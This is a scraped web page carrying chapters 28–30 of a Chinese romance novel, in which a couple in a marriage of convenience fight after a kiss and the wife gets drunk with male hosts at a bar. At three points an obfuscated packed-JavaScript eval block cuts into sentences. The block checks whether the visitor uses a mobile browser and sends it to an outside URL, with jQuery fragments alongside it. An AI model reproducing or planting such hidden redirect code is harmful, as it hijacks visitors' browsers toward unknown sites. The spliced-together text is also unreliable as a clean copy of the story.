;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14464411|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,会养挑食,所以买的都是主食罐头。 傅小狗得以解放,绕着夏冬意和傅亭斯转圈圈,摇尾巴,看起来很开心。它是一只有点性格有点内向和害羞的小狗,不会像那些性格热情的狗狗,抱住主人狂亲狂舔。夏冬意觉得傅小狗这样的刚刚好,她很喜欢。 夏冬意蹲下身摸摸小狗的雪白的脑袋:“傅亭斯,你会看公母吗?” 她到现在都不知道傅小狗是公的还是母的。 傅亭斯带回来一瓶红酒,给自己倒了半杯,放在茶几上,没骨头似的地靠进沙发,品着酒,过半天懒洋洋来一句:“明天去宠物医院。” 也就是说,他也不知道。 夏冬意陪傅小狗玩了一会儿,喂了吃的以后,训练它定点排尿,看到傅亭斯独自坐在沙发上呡着酒,一派享受。她对小动物超有耐心,对傅亭斯就没有那么多耐心了,气哼哼走到他面前,郑重其事道:“傅亭斯,养狗是我们一起决定的事情,你怎么这样啊,都是我在忙碌。你都不跟它培养感情,你就不担心它以后不喜欢你?” 傅亭斯抬眸,瞥她一眼,继续喝酒:“我这几天不方便和它接触。” “你怎么了?” 傅亭斯不是很想说,没讲话,喝着酒,还拍了拍旁边,让她坐。 夏冬意狐疑坐下。她觉得傅亭斯挺不对劲的,观察了一会儿他的脸色:“你是不是生病了?” 他还是那么淡淡扫眼她,嗓音是酒液漫过的低哑:“我这样子像得了什么病?” 夏冬意摇了摇头。 傅亭斯倾身将酒杯放到茶几上,缓声开口:“夏冬意。” “啊?” 夏冬意觉得他好奇怪啊。 “你要赔偿我。”傅亭斯接着说,眸光有点深。 傅小狗趴在两人脚边,晃着小尾巴,歪着头,一双大眼睛,不吵不闹很安静。它似乎是不太看得懂他们在说什么,却很感兴趣的样子。 夏冬意再次“啊?”了一声。 不解他的意思,“你是不是喝多了?” 傅亭斯笑出一声:“就这点能把我灌醉?” 接着,他抬起手臂,撩开袖子。 夏冬意顺着他的动作,视线低垂。 手臂上青筋蔓延处,覆盖着一层红疹子。 “我过敏了。”傅亭斯语气透着委屈,“动物毛发过敏。” “这么严重,那……”夏冬意想起来他说下午去医院了,难道是因为这个,她下意识就说,“要不要把傅小狗送走啊……”虽然她很舍不得。 “倒也不必。”傅亭斯说着,靠了过来,声音低低的,带着浑然天成的性感,在她耳旁说道:“小小的补偿我一下就成。” 还没等夏冬意反应过来,傅亭斯已经偏过头来,俯身下来,单手扣在她的耳侧,温热的气息,连同他的唇,贴了上来。 28. 小狗不听话 轰的一声巨响,触电般的,在夏冬意大脑里炸开。思绪全无,大脑空白,瞪大了眼睛。 很多疑问、困惑、不解和震惊,来不及汇聚到嘴边,就被他堵回去。 柔软的,温热的,带着酒香的,小心翼翼试探、摩挲,揉搓着她柔软的耳垂,强烈的男性荷尔蒙侵袭,这是让夏冬意陌生的傅亭斯。 夏冬意只单纯觉得,这是他的恶作剧。脑子里晕晕乎乎想着,想推开他去,手上使不出劲,心也跳得很疾。这感觉陌生,前所未有,让她害怕,却又莫名刺激,兴奋。 夏冬意从来不知道,傅亭斯吻技这么好,本以为他就是一时兴起,浅尝辄止就会放开她。他的舌尖缠绕上来,酒香浓郁,占据口腔,头顶仿佛炸开烟花,嘭的一下,心脏高速地跃动。 这个吻持续的时间不短,过了许久,傅亭斯才撤离了出来。夏冬意不知道自己是怎么跑到傅亭斯腿上去的,他一手抱着她,一手捧着她的脸,额头抵着额头,鼻尖擦过鼻尖,呼吸相缠,手臂勾着他的脖子,整个人都挂在了他身上。 夏冬意逐渐缓过神来,看到狼藉的场面,大脑一片混乱。 天哪,她在做什么?竟然和傅亭斯…… 吃惊、生气、纳闷、恼羞、委屈,众多情绪,统统化为难解的郁闷,一齐涌上来,夏冬意推开傅亭斯,跳了下去,冲上楼,直奔卧室,砰一声,关上房门。 夏冬意背身贴着房门,拍着滚烫潮红的脸颊,胸口起伏。耳朵里,心跳的闷响,还有其他杂乱的声音,只好在房里来回踱步,试图冷静。 脑子里却全是刚刚的画面。 啊—— 夏冬意用力甩了甩头,似乎只有这样才能停止下来。 一屁股坐在旁边的沙发上,夏冬意托着头,盯着地面发了一会儿呆,也没找到思绪。 她认定傅亭斯在同自己开玩笑。他这人就是这样,百无禁忌,尤其是对她,什么玩笑都会开。长久的相处,亲密的事情自然不少,她和傅亭斯内心都坦坦荡荡,不觉得有什么。 以前在他家住,两个人偷偷窝在一个被窝里看电影也是经常的事。 小时候,夏冬意经常去傅家做客,晚上也会睡在他家。客房和他房间就隔了一条走廊,晚上睡不着觉的时候,夏冬意就会偷偷溜到傅亭斯房间去玩,有时候是傅亭斯来找她。也不敢很大声讲话,就放低声,躲在被窝里看电影,讲笑话。 但这次,似乎又和那时候不一样。 亲嘴这种事,只有恋人之间才会做的吧。 她和傅亭斯虽然领了证,但那都是权宜之策,他们迟早都会分开的,而且她也不喜欢傅亭斯,傅亭斯也不喜欢她,这样也能亲嘴吗? 夏冬意母胎单身二十七年,没有这方面的经验,但是再没有经验,也知道这件事有多离谱。 又或者,对于男人来说,性和爱本身就是两回事。 夏冬意觉得自己的脑子要炸了。 很郁闷,也很生气。 她觉得自己错付了。 她是如此的信任傅亭斯,才会找他。谁知道,他也和外面的那些男人没有区别。一天到晚想着占她便宜。 傅亭斯他怎么可以这样? 太没有契约精神了。 果然如此,这条狗就是觊觎她的美色,还死不承认。 夏冬意越想越觉得吃亏,越想越委屈。还有一点让她觉得十分窝囊的是,接吻的时候,她竟然没有推开他,还一脸十分陶醉享受的样子。 她觉得自己挺可耻的,傅亭斯也挺可恶的。 夏冬意搞不懂自己的想法,更看不懂傅亭斯。一时之间,她不知道该如何去面对了。 正烦恼着,传来两声敲门。 夏冬意抬了抬头。 空气很安静,没有人说话。 过了几秒,傅亭斯在门外说:“夏冬意,你还好吗?你开开门,我想和你谈一下。” 夏冬意很烦,一肚子火。她现在不想见到他,这段时间她都不想看到他。 她甚至有点后悔,当初草率的决定。 想了一想,夏冬意走到门边,和他隔着门说话:“我不想谈。” 沉默。 夏冬意轻轻吸了吸鼻子,再次开口:“傅亭斯,我可能等不到一年了……” “你说什么?”傅亭斯声音沉了沉。 “可能有点突然,我其实,”她有点烦,有点懊恼,还有点后悔,后背靠在门上,梳理了一下思路,接着说道,“不止一次的后悔,也许我们决定得都太草率,不成熟。迟早都要分开的不是吗,到时候你爸妈和我爸妈那里要怎么交代,郁吱吱好几次问及我们的关系,我都不知道怎么说,今天晚上……我知道你是跟我闹着玩的,我很不喜欢这样,傅亭斯,我一次都没谈过恋爱,我的初吻是要留给初恋的,你就这么欺负我,你这个大混蛋……” 说到这里,夏冬意嗓音染上了哭腔,她觉得自己好委屈,就这么被白嫖了初吻,还是傅亭斯这条狗。 “夏冬意,”傅亭斯扭着门把手,急切道:“你先把门打开好不好?” “不好,我不要看见你,我现在很烦很烦……” “我们谈一谈吧。” “不谈不谈,有什么好谈的?”夏冬意现在就只想把婚离掉,她十万分的后悔,如果离了婚,她就没有这么烦了。 她很害怕。 本来她只以为这是一场游戏,也没打算认真对待。但是现在已经朝着失控的方向走了,这种把控不住的局面,让夏冬意没来由的害怕。 “我们离婚吧,”她仰着头,没让眼泪掉下来,深呼吸一下,继续重复道,“傅亭斯,我们离婚吧,离婚以后,各归各位,我不喜欢现在的感觉。” 很长时间,门外都没有动静。夏冬意知道他还在。 等了好几秒,她不想再等他的回答了,接着刚才的话补充道:“明天晚上我不回来了,我会跟爸妈讲清楚……” “所以你连试一试的机会都不给我?夏冬意,你未免也太自私。” 傅亭斯的声音在她身后响起,隔着一扇门,一个字一个字,敲进她耳朵。 夏冬意怔住,声音轻又哑:“你说什么?” 门的两边,静的只能听到呼吸声。 无声对峙。 短短几十秒,傅亭斯整理好心绪,语气温和,对她说道:“咚咚,这个婚,是你我之间你情我愿的关系,我一没有欺骗你,二没有强迫你,是你自愿同我结婚的,你同意吗?” 夏冬意张了张嘴:“可是……” “没有可是,你只要告诉我,是不是你自愿的?” “……是……” 傅亭斯嗓音沉下去:“你听好了,夏咚咚,我不打算再结一次婚,所以你最好也别有想和我离婚的想法。晚安,早点睡。” 夏冬意听到他离开的脚步声。 傅亭斯很生气,夏冬意一听就听出来了。 他有什么资格生气啊,她还生气呢。什么叫做“你最好也别有和我离婚的想法”,她就是想要和他离婚!他能怎么样? 夏冬意觉得,这个婚姻就是困住自己的牢笼,让她变得被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504719|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动、束缚,没有自由。傅亭斯今天想跟她亲嘴就亲嘴,明天说不定就想跟她上床了,他是怎么下得去口的,竟然对认识了二十多年的好闺蜜好兄弟做出这种事来,还脸不红心不跳的? 还有,最要命的是,她竟然还觉得,他吻技不错。 这个世界如此的癫,害她也癫了。 夏冬意洗完澡就躺进了床,翻来覆去睡不着,索性起来看了部电影。在几年前看过,是一部谍战片,这个晚上突然心血来潮,想重新看一遍。 她不喜欢缠绵悱恻的爱情故事,喜欢快节奏的叙事方式,剧情更是以爽快为主。夏冬意还很喜欢看明艳大美女,影片里的主角团各个都是帅哥靓女,十分养眼。 但今天却觉得,并没有像原来那么喜欢了。夏冬意看得心不在焉,影片没放完就睡着了。 刚闭上眼睛,梦境一个一个,接踵而至。大多都和傅亭斯有关,梦到和他接吻、滚床单,潜藏在最底层的欲望被勾出来。 夏冬意惊醒过来,身体掏空,虚无疲惫却过瘾。 夏冬意按揉着昏沉的头,爬起来,呆坐片刻。她有点搞不懂自己,对傅亭斯都没兴趣,更没有那方面的想法,怎么会做这种梦,难道真的是身体寂寞久了,出问题了?但是她清醒的时候,都没感觉啊。 到底是怎么回事?从昨晚开始,好像一切都失了控。 夏冬意有些彷徨,心里更是乱糟糟的。 渐渐,夏冬意清醒过来,梦里带出来的感觉也消失了,再次恢复理智。 夏冬意睡不着,这会儿也静不下心来干活,索性拿过手机,刷到了天亮。她想起傅亭斯起得很早,得赶在他起床之前离开,她现在不想见到他。 下床、洗漱,换好衣服,下楼,不到二十分钟,出门时刚过六点。 昨晚夏冬意坐傅亭斯的车回来,自己的车留在公司。这么早很难叫到车。顺手牵羊,偷走傅亭斯扔在桌上的车钥匙。开着他的车,出门了。 先是去吃了早饭,然后去公园逛了一圈。将近七点,收到信息:[我的车是不是你开走的?] 夏冬意不打算理会。 走出公园,想起来,他留在新房就那一辆车,也就是说,她开走了他的车,他就没有车可以开了。 夏冬意良心发现,确实好像有那么一点过分了。 于是掏出手机,打字:[打个车吧] 傅亭斯回过来一个问号。 [别墅区打车,你确定?] 夏冬意翻了个白眼,心想,你可真能装逼啊。想也没想,发过去:[别墅区怎么就不能打车,别墅区就没有买不起车的了?] 没过两秒,收到回复:[你现在在哪?] 夏冬意:[上班了] 傅亭斯:[七点你上班?] 夏冬意:[我高兴,我乐意] 傅亭斯:[该不会在躲我吧] 夏冬意呼吸窒了窒,傅亭斯是那么了解她,什么都逃不过他的眼睛。 夏冬意干脆坦白了:[在离婚之前,我们都别见面了] [我没有开玩笑,昨天的话也不是临时起意,让我们都回到各自的轨道上吧,这是对我们最好的决定,你觉得呢?] 许久,傅亭斯都没有回过来。 夏冬意站在马路上,周围是渐渐热闹起来的,充满烟火气的人间,她却仿佛站在云端,心里空空荡荡的,风穿过她的身体,有一种很不真实的感觉。 过了片刻,她再次看了看手机,傅亭斯依旧没有动静。 她不再等了,攥紧手机往回走。 29. 小狗不听话 一上午过去了,傅亭斯就像是死了一样,毫无反应。 夏冬意懒得管他心情怎么样,昨天晚上也已经彻底撕破脸皮,她发那两条信息就是通知他一声,并不在意他怎么想的。 但这一整个上午,夏冬意完全没有想象中洒脱。 甚至可以说,相当的内耗。 除了工作状态,只要脑子一放松下来,就不能遏制地回放昨天晚上那刺激人的一幕。 她记得当时自己懵掉了,嘴巴也僵住了,是傅亭斯把她一点点撑开来的。 这狗的吻技怎么会这么好? 不记得他谈过恋爱啊。 难道说,是在出国那会儿谈的? 傅亭斯出国之前,两人吵过一次架,具体因为什么,夏冬意印象不深,和傅亭斯的大吵小吵,都不是那么令她开心的,那些细节也不喜欢记着。时间久了,就都模糊成了一片。 她这人脾气不好,夏冬意自己也承认,也有点是因为被家里惯坏了,她是绝不会低头承认错误,也不会主动讲和的。和傅亭斯吵架,都会因为少有的默契,两人各自给对方台阶,下了也就下了,之前吵架的事谁都不会主动去提,更不会去复盘。好像对错是非,在这段关系中,并不是最重要的。 但那一次,也不知道为什么,也可能是因为他出国的关系,中间隔着时间和空间的距离,她不知道他的生活,他也不清楚她的作息安排,再加上,大学课程排的紧,两人都各自有了自己的生活圈,交流变少了很多。 所以他在国外的情况,夏冬意并不是很清楚,也没有想过要问,而傅亭斯的性格,虽然他这人又骚又贱,但闷的时候,也是真的闷,特别的割裂,她不问,他也绝不主动提。 后来回国,她和傅亭斯也变得生疏多了。也有可能是两人磁场的关系,不碰面倒也还好,不会太记得对方,至少夏冬意是这样,但只要见了面,过去的熟悉感还是会一起回来。 有些人就是这样,无论隔多久,分开多久,再见面的时候依然熟悉。她和傅亭斯就是这样的存在。但那段时间,他们都在自己的生活里忙着,一年也见不到几次面的。 就这样慢慢冷了下来。 所以很长一段时间里,夏冬意都觉得,傅亭斯离得她的生活很遥远很遥远。她变得看不透他了。 夏冬意完全控制不住自己的脑子不去想这些,只有在工作的时候,全身心投入进去,还好一点,这一整天,她都不敢让自己闲下来,到处给自己找事干。哪怕不工作的时候,也要拉着同事或者郁吱吱聊天。 可即使如此,她还是不开心。 夏冬意自己都讲不清楚,到底哪里不开心,但就是心情不好,仿佛心里有个结,怎么也打不开,可到底这个结在哪里,连她自己都不知道。 觉得胸口很闷,透不过气来。最近这几天气温升上去了,天气也变热了,她怀疑自己中暑了,趁着午休时间,跑出去透透气。 就连郁吱吱也察觉到了她今天的不对劲,挽着手一起走出电梯的时候,郁吱吱仔细看了看夏冬意的脸色,说道:“你今天是不是又被那个傻逼甲方刁难了?人都没精打采的,像一只失去活力的小老鼠。 这是什么烂比喻?不过这会儿,夏冬意没什么心情跟她打嘴仗,郁郁地叹了口气,摇摇头:“工作上的事还不至于让我这么失落,每天都能碰到傻逼,早习惯了,我也不知道怎么了,可能是大姨妈快来了吧,有点暴躁,有点心烦,想找个人骂一顿,但又没心情骂。” 郁吱吱的心情也跟着受到了影响,想了想,郁吱吱提议:“今天晚上我们去酒吧好了,痛痛快快喝上几杯,然后姐姐再给你找几个男模,把所有的不开心都抛到脑后,让我们嗨起来,好不好?” 夏冬意急于找点乐子,不想消耗精力费思和傅亭斯的种种,只要一想到这件事,脑子就卡壳,想不出来,也不想去想,二话不说接受了提议。 只是她不放心傅小狗在家里,傅亭斯过敏还没好,肯定不会照顾傅小狗,就给傅亭斯发了条信息,提醒他不要忘记喂吃的,还有带出去遛一下,傅小狗一天到晚在笼子里肯定闷坏了,如果他不方便的话,就让阿姨代劳一下。 信息发出去之后,也没见傅亭斯的回复,早上的信息也没见他有回应,好像打定主意不理会她了。夏冬意心底没来由涌上来一股烦躁,想去喝咖啡了,就和郁吱吱去往程子衡的咖啡店。 自从上次和傅亭斯离开后,夏冬意就没再过来坐了,倒是郁吱吱去过两回,路上同夏冬意提到:“上次来的时候,我还和你的程学长提到过你。” 夏冬意再次掏出手机来查看,傅亭斯依旧没有任何动静,心情低沉到谷底,随口敷衍了一声:“提到我干嘛?” “你不是不喜欢傅亭斯嘛,好不容易来了个程学长可不能错过,我就跟他暗示你单身啊,然后你猜怎么着?” 夏冬意顿了顿,侧头看了看郁吱吱。 后者表情兴奋,就差手舞足蹈了:“我觉得他对你有意思诶,他竟然问我,傅亭斯不是说跟你结婚了吗?你想想,如果他对你没那个意思,会这么问吗?” 夏冬意心里一咯噔,条件反射问:“你怎么说的?” “我啊,”郁吱吱抓着她的手,轻拍了拍手背,“我就据实相告了,就说那是因为傅亭斯暗恋你啊,就怕你被别人抢走才那么说的,虽然我的翘臀帅哥是很不错啊,但是显然姐妹你对他没那方面兴趣,还不如和程学长在一起呢,虽然翘臀帅哥很可怜,但没关系啊,反正他那样的帅哥不会缺女朋友的嘛。” 夏冬意没接话茬,心不在焉的样子。 接着,她停下脚步,对郁吱吱说:“我还是不去了,你自己去吧。” “啊?”郁吱吱被扫了兴,不解道:“你不喝咖啡了?” “突然没什么心情了,你自己去吧,我想回去睡个午觉。” “算了算了,你不去,我也不想去了。”郁吱吱摆了摆手,然后打了个哈欠,“其实我也有点困了,喝咖啡,反正什么时候都行的,回去吧。” 夏冬意也不知道怎么就一下子突然什么心情都没有了。 傅亭斯到现在都没回她信息,她不知道自己是因为担心傅小狗,还是因为他的态度而郁闷无比。好几次,她甚至都要按下拨号键,问问他到底是什么意思,但都在最后一刻放弃了。 夏冬意是绝对不低头的。 他不理她,她还不想理会他呢。 最好一辈子都不要理她! 夏冬意气鼓鼓的想,把手机扔在一边,往懒人椅里一躺,闭上眼睛,命令自己不许再想了。 到了傍晚下班,几个好姐们一起直奔酒吧一条街。 这次去的不是上次那家,是本地很有名的,可以点男模的。 和上回一样,在车上换了衣服,今天夏冬意穿一条黑色抹胸裙,颜色和款式都不是很亮眼,奈何如此,好身材却是遮也遮不住,尤其是那雪白的皮肤,被黑色和酒吧舞池的灯光衬得通透玲珑,像雪山上的莲花,清冷中带着妩媚。 把周围的异性目光都吸引了过来。 夏冬意酒量差,酒品一般,往常喝酒都是很小心的,生怕喝醉丢人现眼,要喝也只和亲近的人喝,今天她心情不佳,一改往日,拉着另外两位小姐妹,郁吱吱和孙苒宁,靠着吧台,一杯接着一杯,喝不停。 今天夏冬意确实是太奇怪了,平常最喜欢哄她喝酒的孙苒宁跟郁吱吱都都被她吓到了,两人一左一右,一个按酒杯,一个抱酒瓶。夏冬意明显是喝多了,酒气染红眉梢眼角,脸也发烫着,瞪着眼,很不高兴,去抢郁吱吱手里的酒杯,抢不过,她就拍着桌子高声喊要找男模。 “你真要找男模?”郁吱吱有点兴奋起来。 兴奋是因为,夏冬意大多数时候都是口嗨,真要上了,她跟阳痿了一样,跑得比谁都快。 喝醉酒的人,胆子出奇的大,拍着桌子,唯恐没人听见般,大声嚷:“把名单拿过来,我要!点!男模!” “好好好,姑奶奶,求你小声点,你说什么就是什么,真是怕了你了,你是觉得自己还不够引人注目吗?”孙苒宁哄她道:“别急,姐姐陪你一块儿点。” 服务生很快把男模的名单递了上来,夏冬意歪着头,迷迷噔噔地看了半晌,随手指着其中的两个:“就他俩,陪我……喝酒……” 郁吱吱逗她:“光喝酒,什么都不干?” 夏冬意就是心情郁闷,想找人陪自己喝酒,谁让小姐妹不肯给她喝,别的,她也想不到还能干什么,傻乎乎地问道:“还能干什么?” 孙苒宁靠过来,凑到夏冬意耳边,笑得很坏:“你真是老天真了,咚咚,找男模可以做很多事,要不然那些富婆为什么总喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538805|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去夜店找男模消遣呢?” 夏冬意听得一知半解,想了一会儿,她问道:“那……能摸腹肌吗?” 不知道为什么,夏冬意对摸男人的腹肌很有执念。大概是傅亭斯那条老狗的腹肌比较好摸吧。她以前摸过一次,傅亭斯主动让她摸的,但也就只摸过那么一次,手感很好,以至于记到了现在。 夏冬意觉得自己今天好不正常,怎么有事没事就会想到傅亭斯,这么好的气氛,想他干什么,真是败兴。 她好不容易把脑子里关于傅亭斯的念头甩开了,听到郁吱吱笑嘻嘻说:“你想摸啥就能摸啥,所有能和男朋友做的事,他们都能做,而且说不定,他们还会为了你争风吃醋呢。” 夏冬意脑袋晕乎乎的,虽然她以前也会跑出国去看那种展什么的,但是她的胆其实很小,虽然有一定的了解,但涉猎还没有那么深,被她俩这么说,心里还有那么点儿蠢蠢欲动起来。 没过会儿,夏冬意点的那两名男模到了。都是帅哥的标准,脾气都不错,是夏冬意最吃的温柔款,面对夏冬意也都是热情似火,这要是放在平常,夏冬意一准脚底抹油,要先跑了。 但今天,她喝醉了,胆子大的出奇,释放天性,平常不敢干的事情,今天全都来一遍。 没多久,这人就已经坐在了其中一个的大腿上,又是贴脸,又是喂酒,还要抽空腾出手来,撩起另一个的衣服,摸人家的腹肌。 那两个男模也是好脾气,非但没有阻止她,还握着她纤细的手腕,揉搓她的手指,引导着她的手开拓新领域。 夏冬意开心的要命,刺激的不行,这都是以前没做过没玩过的事,她觉得自己的前二十七年真是白活了,直到今天才知道,左拥右抱的快乐。 怪不得男人都喜欢来这种地方花天酒地呢。 真快乐啊。 她酒已经喝高了,也喝茫了,不知道自己在做什么事,一切都出于原始的本能。 看她这乐不思蜀的样子,郁吱吱和孙苒宁都怕她玩过火了,估计今天家里肯定是回不去了,这个样子怎么回家,就算把她送回去,让她俩怎么面对夏爸爸和夏妈妈,于是两人在附近的酒店订好房间,打算把人先哄回去。 夏冬意哪里肯依,她正在兴头上,坐在男模的腿上,勾着对方脖子,一会儿贴脸,一会儿和男模头靠着头,又暧昧又亲热,一会儿嘟嘴卖萌玩自拍,一会儿又掀人家的衣服要看身材练得怎么样,一会儿又拿起酒杯要干杯,最让她开心的是,无论她做什么,男模都很温柔地对待她,不像傅亭斯那条狗那样,说两句就翻脸了。 她是说什么都不肯这么早回去的。 酒精上头,夏冬意玩嗨了,也玩脱了,像是纯心要挑衅傅亭斯,随手点了几下,把她和男模的合照发给了傅亭斯。 一次性发了五张过去。 昏暗的包厢里,灯光暧昧不清,女人坐在男人腿上,眼神迷离,穿着一条黑色短裙,化着精致的妆容,披肩的长发下,挡也挡不住的,那一大片雪白滑腻的肌肤,纤细手指捏着高脚杯,猩红酒液飘摇着,和两个男人脸贴着脸,看起来像个,经常逛夜店的,随性又浪荡的玩咖。 包厢里网络信号非常好,眨眼间就发送了出去。 夏冬意盯着手机,在那个当下有一丝恍惚划过心间。 但很快,就烟消云散了。 反正都一天了,傅亭斯都没理会她,也不见得,他会看到。 夏冬意把手机一扔,细腻柔软的手臂勾过男模,高举着酒杯,神志不清地大喊着:“来,再陪我喝……” 丢在桌上的手机突然亮了,薄薄的一层光,打在夏冬意的脸上。 在昏昧的光线里,像雪后初霁,夏冬意眼神迷茫,顺着光线看过去。 手机屏幕上,是一条微信。 来自傅亭斯。 [在哪?] 夏冬意缓慢眨了眨眼睛,男模将她楼过去的时候,视线也没从手机上移开。 她记得,傅亭斯发文字信息,很少习惯打标点符号的。 这个念头刚闪过,手机振动起来。 这次进来的不是信息,而是傅亭斯的电话。 持续不断,震动着。 旁边,郁吱吱指了指手机手机:“宝,你电话!” 夏冬意当没看见,扭回头去:“来,我们继续喝。” 30. 小狗不听话 傅亭斯一连打了三个电话,夏冬意都没接。 他开了一天的会,刚结束一个线上会议,长指揉着眉心,推开笔记本电脑,捞过放在一旁的手机,刚巧夏冬意就发来了照片。 这几张照片里的夏冬意和平常差别很大,再加上光线和角度的问题,不是很熟悉的人很难认出是她。 傅亭斯再次确认,照片上的人是夏冬意没错,发照片的人也是她没错。 在外面玩这么野也就算了,还堂而皇之的的发给他。 她是觉得这一纸婚姻是儿戏,还是认为他傅亭斯宰相肚里能撑船,能容忍这样荒谬的行为? 傅亭斯晚饭没来得及吃,这会儿气得着实不轻,胃都在隐隐作痛。 马上发了条信息过去,问她在哪。 等了两秒,没见她有任何反应,没耐心了,直接打了电话过去。 她当然是依旧没理他。不知道是喝高了,还是故意的。 这种无计可施的无奈,让他束手无措。 傅亭斯头疼不已,又气又急,还有点觉得好笑,在理智的边缘徘徊,急不可耐地打了第二个、第三个……最终是郁吱吱接的电话。 那头背景很吵嚷,饶是如此,傅亭斯仍是精准辨别出夏冬意的声音,带着醉酒后的憨态,不似清醒,娇软无骨,像是在对谁撒着娇。 傅亭斯胃更疼了。 郁吱吱捂着话筒,走到稍稍安静处,高声说道:“翘……哦不是,傅亭斯吗?咚咚喝多了,你来接她吗?” “她现在在哪?” 郁吱吱听出语气不善,像是一场风暴前的平静,隔着手机都吓得她一哆嗦,如实报了酒吧名和房间号。 挂了电话,郁吱吱急忙跑回去把手机塞回夏冬意包里,和孙苒宁一起,把她从男模腿上拽下来。 夏冬意正在兴头上,赖着不肯走,喝醉酒的人力气也是贼大,两个人都拉不动她,郁吱吱好哄歹哄:“好了好了,咚咚,今天喝的够多了,我们也要走了,一会儿翘臀帅哥过来接你,别让他看到你这样,我感觉他都有点生气了。” 夏冬意手一挥,满脸的不高兴:“他算哪根葱,有什么资格生我的气,我才生气呢,我生大气!” “好好好,姑奶奶,大小姐,你生气是应该的,今天玩也玩够了,酒也喝过瘾了,我们还是回去吧。”孙苒宁和郁吱吱轮流哄着她。 “我才不回去呢,”夏冬意抱着酒瓶不撒手,“我还没喝过瘾,我要继续喝,你们……要么陪我喝酒,要么就别管我了。” 哪里知道平常软乎乎的姑娘,喝醉酒跟头倔牛一样,郁吱吱和孙苒宁互看一眼,叹口气。这妞今天真稀奇,不知道谁惹了她。这人力气大的出奇,死拖不动,算了,还是等傅亭斯过来再说吧。 二十分钟以后,包厢门被人推开,昏暗的包厢内被一道刺眼的灯光划破,夏冬意神志不清地侧过头,看见门口立着的傅亭斯。 他的脸色差极了。 此时的夏冬意,还坐在男模的大腿上,手臂亲昵地揽着对方的脖子,就在前一秒,她刚低头喝下男模喂的酒,傅亭斯就这么进来了,夏冬意皱了皱眉。 她似乎丝毫没注意到他的愠怒,又或者说,夏冬意不是感受不到,而是压根没放在心上,她自己也一肚子火气,顾不上他的心情怎样。 像是没看见人一样,和男模们搂搂抱抱贴贴的,喝得更肆意了。 包厢内气压急剧下降,只剩下夏冬意的叫嚷和酒杯碰撞声,郁吱吱和孙苒宁大气不敢出,眼见傅亭斯大步过来,攥住夏冬意纤细的手腕,那手上还握着酒杯,他的力气太大,抓得她太用力,酒杯滑落,砰的一声,摔碎了。 “你干什么,有病啊,抓疼我了知不知道,你给我松开!”夏冬意使劲挣扎,试图挣脱钳制,压根撼动不了一点,气急败坏骂道:“你给我滚出去,我这里不欢迎你!” 明眼人都能看出傅亭斯火很大,唇线抿得发直,下颌线紧绷,锋利无比,眼睛死死盯着夏冬意,手背青筋暴起,他拽得她十分用力。夏冬意还这么骂他,真的是不怕死,郁吱吱和孙苒宁都为她捏一把汗。 “起来!”傅亭斯突然暴怒,把旁边几个,包括那两个男模都吓了一大跳,包厢里顿时四下无声。 在绝对力量之下,夏冬意仿佛一只小鸡仔,被傅亭斯拽了出去。 夏冬意也被吓到了,脸色一白,噤了声,跌跌撞撞跟着他走出包厢,她走不稳,头晕目眩,被他吓到,心跳也快。傅亭斯脚步迈得又大又疾,丝毫不体谅她,夏冬意被他拖着几次差点摔倒,短短几步就像徒刑,她心里又委屈又难过,脚下一软,往前趔趄两步,跌倒在地,索性顺势跪坐在地上,不再起来。 傅亭斯停了下来,用力将她从地上拽起来,夏冬意死命拖住他的手,赖在地上不起来,形成一个下坠的拉力。安静的走廊上,喝醉酒跪坐在地上的女人和震怒的男人,像一张诡异的油画。 突然,夏冬意嘴巴一瘪,哇的一声大哭起来。 边哭边说:“你这么凶干什么?我爸都没这么凶过我,你就知道欺负我,从小到大你都这样,欺负人,一点都没品呜呜呜呜呜呜……”” “好了,起来了。”傅亭斯蹲下来,试图将她抱起来。 “我不要!”夏冬意将他往外推开去,“你走开,我再也不要理你了,我们绝交,我要和你离婚,离婚!” 这一推没把傅亭斯,反而她自己往后仰了仰,傅亭斯将她扯回,带进怀里:“别人是理直气壮,你是理不直气也壮。” 夏冬意两条手臂挡住他的胸膛,不肯让他碰她,更不让他抱。脑袋昏沉,自己也不知道自己在说什么,只觉得很委屈,委屈的要命,听他这话更生气了,但她骂人的话,颠来倒去也就那几句,最多不过是扯高嗓门叫一叫,和傅亭斯生气起来不是一个量级:“你才理不直气也壮,呜呜呜呜,我不管,我就是要和你绝交,你别碰我,不让你碰,你走开……” 夏冬意用尽力气推他:“你走开,你走开,你走开!” 她眼泪汪汪的,眼睛也红红的,傅亭斯一怔,被推到地上,他索性双手往后一撑,坐在地上,歪头看了她一会儿,突然笑出一声:“那我问你,你跑来这里干什么?又是喝酒,又是点男模,你想气死我?” 